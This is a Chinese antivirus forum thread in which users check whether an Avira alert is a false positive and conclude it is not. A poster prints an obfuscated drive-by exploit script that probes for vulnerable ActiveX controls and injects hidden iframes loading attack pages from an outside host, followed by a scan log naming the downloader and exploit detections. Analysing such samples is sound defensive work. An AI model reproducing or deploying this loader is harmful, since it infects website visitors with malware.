疑似红伞误报,大家看看吧...

蔚藍領域

http://www.virustotal.com/zh-tw/analisis/bb90dad19a6f5a2cd5f17a032808d347

mofunzone

很显然不是个误报，不过不会解。。

jimmyleo

1. 
   
2. <script language="javascript">
   
3. try{var exp_0;var obj_0=(document.createElement("object"));obj_0.setAttribute("classid","clsid:BD96"+"C5"+"56-65"+"A3-11"+"D0-98"+"3A-00C0"+"4FC"+"29E"+"36");var obj_a=obj_0.createobject("Ad"+"odb.Stre"+"am","")}catch(exp_0){};finally{if(exp_0!="[ob"+"ject Er"+"ror]"){document.write("<iframe width='0' height='0' src='http://ww.shitip.com/file/gdisvc.htm'></iframe>")}}
   
4. try{var exp_1;var obj_1=new ActiveXObject("PPla"+"yer.XP"+"Pla"+"yer.1")}catch(exp_1){};finally{if(exp_1!="[ob"+"ject Err"+"or]"){document.write("<iframe width='25' height='0' src='http://ww.shitip.com/file/xunlei.htm'></iframe>");}}
   
5. try{var exp_2;var obj_2=new ActiveXObject("IER"+"PCt"+"l.IE"+"RPC"+"tl.1")}catch(exp_2){};finally{if(exp_2!="[ob"+"ject Err"+"or]"){document.write("<iframe width='0' height='0' src='http://ww.shitip.com/file/real.htm'></iframe>");}}
   
6. try{var exp_3;var obj_3=new ActiveXObject("GLC"+"HAT.GLC"+"hat"+"Ctrl.1")}catch(exp_3){};finally{if(exp_3!="[ob"+"ject Err"+"or]"){document.write("<iframe width='0' height='0' src='http://ww.shitip.com/file/lz.htm'></iframe>");}}
   
7. try{var exp_6;var obj_6=new ActiveXObject("M"+"PS.St"+"ormP"+"layer")}catch(exp_6){};finally{if(exp_6!="[ob"+"ject Err"+"or]"){document.write("<iframe width='0' height='0' src='http://ww.shitip.com/file/bf.htm'></iframe>");}}
   
8. try{var exp_7;var obj_7=new ActiveXObject("PO"+"WERP"+"LAYER.Pow"+"erPlaye"+"rCtrl.1")}catch(exp_7){};finally{if(exp_7!="[ob"+"ject Err"+"or]"){document.write("<iframe width='0' height='0' src='http://ww.shitip.com/file/pps.htm'></iframe>");}}
   
9. document.write("<iframe width='0' height='0' src='http://ww.shitip.com/file/sdr.htm'></iframe>");
   
10. </script>
    
11. 
    
12. 
    
13. 
    
14. 
    
15. try{var exp_0;var obj_0=(document.createElement("object"));obj_0.setAttribute("classid","clsid:BD96"+"C5"+"56-65"+"A3-11"+"D0-98"+"3A-00C0"+"4FC"+"29E"+"36");var obj_a=obj_0.createobject("Ad"+"odb.Stre"+"am","")}catch(exp_0){};finally{if(exp_0!="[ob"+"ject Er"+"ror]"){document.write("")}}
    
16. 
    
17. try{var exp_1;var obj_1=new ActiveXObject("PPla"+"yer.XP"+"Pla"+"yer.1")}catch(exp_1){};finally{if(exp_1!="[ob"+"ject Err"+"or]"){document.write("");}}
    
18. 
    
19. try{var exp_2;var obj_2=new ActiveXObject("IER"+"PCt"+"l.IE"+"RPC"+"tl.1")}catch(exp_2){};finally{if(exp_2!="[ob"+"ject Err"+"or]"){document.write("");}}
    
20. 
    
21. try{var exp_3;var obj_3=new ActiveXObject("GLC"+"HAT.GLC"+"hat"+"Ctrl.1")}catch(exp_3){};finally{if(exp_3!="[ob"+"ject Err"+"or]"){document.write("");}}
    
22. 
    
23. try{var exp_6;var obj_6=new ActiveXObject("M"+"PS.St"+"ormP"+"layer")}catch(exp_6){};finally{if(exp_6!="[ob"+"ject Err"+"or]"){document.write("");}}
    
24. 
    
25. try{var exp_7;var obj_7=new ActiveXObject("PO"+"WERP"+"LAYER.Pow"+"erPlaye"+"rCtrl.1")}catch(exp_7){};finally{if(exp_7!="[ob"+"ject Err"+"or]"){document.write("");}}
    
26. 
    
27. document.write("");
    
28. 
    

复制代码

非误报.....
另...新花头...不错
不过...FreShow就能胜任了...

Starting the file scan:

Begin scan in 'E:\AV\bf.htm'
E:\AV\bf.htm
      [DETECTION] Contains detection pattern of the Java script virus JS/Agent.MC
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\pps.htm'
E:\AV\pps.htm
      [DETECTION] Contains detection pattern of the Java script virus JS/Agent.MC
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\sdr.htm'
E:\AV\sdr.htm
      [DETECTION] Contains detection pattern of the exploits EXP/SSReader.B
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\xunlei.htm'
E:\AV\xunlei.htm
      [DETECTION] Contains detection pattern of the Java script virus JS/Dldr.Agent.abq
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\real.htm'
E:\AV\real.htm
      [DETECTION] Contains detection pattern of the Java script virus JS/Agent.ES
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\lz.htm'
E:\AV\lz.htm
      [DETECTION] Contains detection pattern of the Java script virus JS/Agent.MD
      [NOTE]      The file was deleted!


End of the scan: 2008年4月26日  10:15
Used time: 00:17 min

The scan has been done completely.

      0 Scanning directories
      6 Files were scanned
      6 viruses and/or unwanted programs were found
      0 Files were classified as suspicious:
      6 files were deleted
      0 files were repaired
      0 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      0 Files not concerned
      0 Archives were scanned
      0 Warnings
      6 Notes

28654621

k7 不认识

jimmyleo

IK的确和avira有来往...